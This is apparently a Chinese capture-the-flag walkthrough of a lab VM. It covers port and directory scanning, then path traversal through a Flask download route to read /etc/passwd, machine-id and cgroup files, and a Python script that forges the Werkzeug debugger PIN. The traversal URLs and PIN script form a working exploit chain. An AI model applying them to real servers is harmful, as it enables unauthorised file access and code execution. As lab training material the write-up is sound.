难度:hard

kali:192.168.56.104

靶机:192.168.56.193

> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:3d:d3:11       PCS Systemtechnik GmbH
192.168.56.193  08:00:27:b3:a1:d9       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded

端口扫描

> nmap 192.168.56.193            
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:02 CST
Nmap scan report for 192.168.56.193
Host is up (0.00014s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
7777/tcp open  cbt
MAC Address: 08:00:27:B3:A1:D9 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

开放了两个端口 22 7777,仔细扫一下

> nmap 192.168.56.193 -sV -A -p22,7777
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:02 CST
Nmap scan report for 192.168.56.193
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
|_  256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:B3:A1:D9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.27 ms 192.168.56.193

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.03 seconds

可以看到 7777端口是一个werkzeug服务

web信息搜集

ORO93l.png
是一个将字符串转正leet(黑客俚语)的转化器
扫一下目录

> gobuster dir -u http://192.168.56.193:7777/ -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.193:7777/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 500) [Size: 14478]
/console              (Status: 200) [Size: 1563]
Progress: 204231 / 1323366 (15.43%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 204353 / 1323366 (15.44%)
===============================================================
Finished
===============================================================

取download路由看一下
ORO2ig.png
注意到可以下载文件但是不能以/开头,尝试路径穿越
OPyhpG.png

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
riva:x:1000:1000:,,,:/home/riva:/bin/bash

确实包含了,看看能不能读取一下riva的私钥
ORO64B.png
权限不够,用户应该是www-data,那就尝试计算pin码

pin码计算

username:上面推测了 应该是www-data
modname:flask.app
getattr:一般是Flask
app.py绝对路径:报错信息可以看到是/opt/project/venv/lib/python3.11/site-packages/flask/app.py
mac地址:尝试读取/sys/class/net/eth0/address发现文件不存在
OPyN0F.png
猜测用不不是eth0网卡,于是我又尝试读取/sys/class/net/enp0s3/address读到mac地址
ORO82s.png
08:00:27:b3:a1:d9转10进制->8796759106009
machine-id:
读取一下init文件,看一下machine-id如何构成

http://192.168.56.193:7777/download?filename=../../../../../../../../../../../opt/project/venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py
def get_machine_id() -> str | bytes | None:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> str | bytes | None:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

可以看到显示读取/etc/machine-id和/proc/sys/kernel/random/boot_id其中的一个文件,如果/etc/machine-id有东西就会break,然后再拼接/proc/self/cgroup里面的东西
先读取一下machine-id
OROubK.png

http://192.168.56.193:7777/download?filename=../../../../../../../../../../../etc/machine-id
#f6791f240ce6407ea271e86b78ac3bdb

这下不需要看/proc/sys/kernel/random/boot_id了
然后读/proc/self/cgroup
OROIma.png

http://192.168.56.193:7777/download?filename=../../../../../../../../../../../proc/self/cgroup
#0::/system.slice/flaskapp.service

这里容易显示下载文件为空,需要多尝试,然后拼接一下

# 模拟文件内容
file_contents = {
    "machine-id": b"f6791f240ce6407ea271e86b78ac3bdb\n",
    "boot_id": b"",
    "cgroup": b"0::/system.slice/flaskapp.service\n"
}

machine_id = b""

for filename in ["machine-id", "boot_id"]:
    try:
        value = file_contents[filename].strip()
    except KeyError:
        continue

    if value:
        machine_id += value
        break

try:
    machine_id += file_contents["cgroup"].strip().rpartition(b"/")[2]
except KeyError:
    pass

print(machine_id)
#f6791f240ce6407ea271e86b78ac3bdbflaskapp.service

这下ok了,计算pin码,根据__init__.py文件可以看到是sha1哈希,所以sha1的脚本

import hashlib
from itertools import chain
 
probably_public_bits = [
    'www-data'  
    'flask.app',  
    'Flask',  
    '/opt/project/venv/lib/python3.11/site-packages/flask/app.py'  
]
 
private_bits = [
    '8796759106009', 
    'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'
 
]
 
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)
#124-291-339

拿到pin码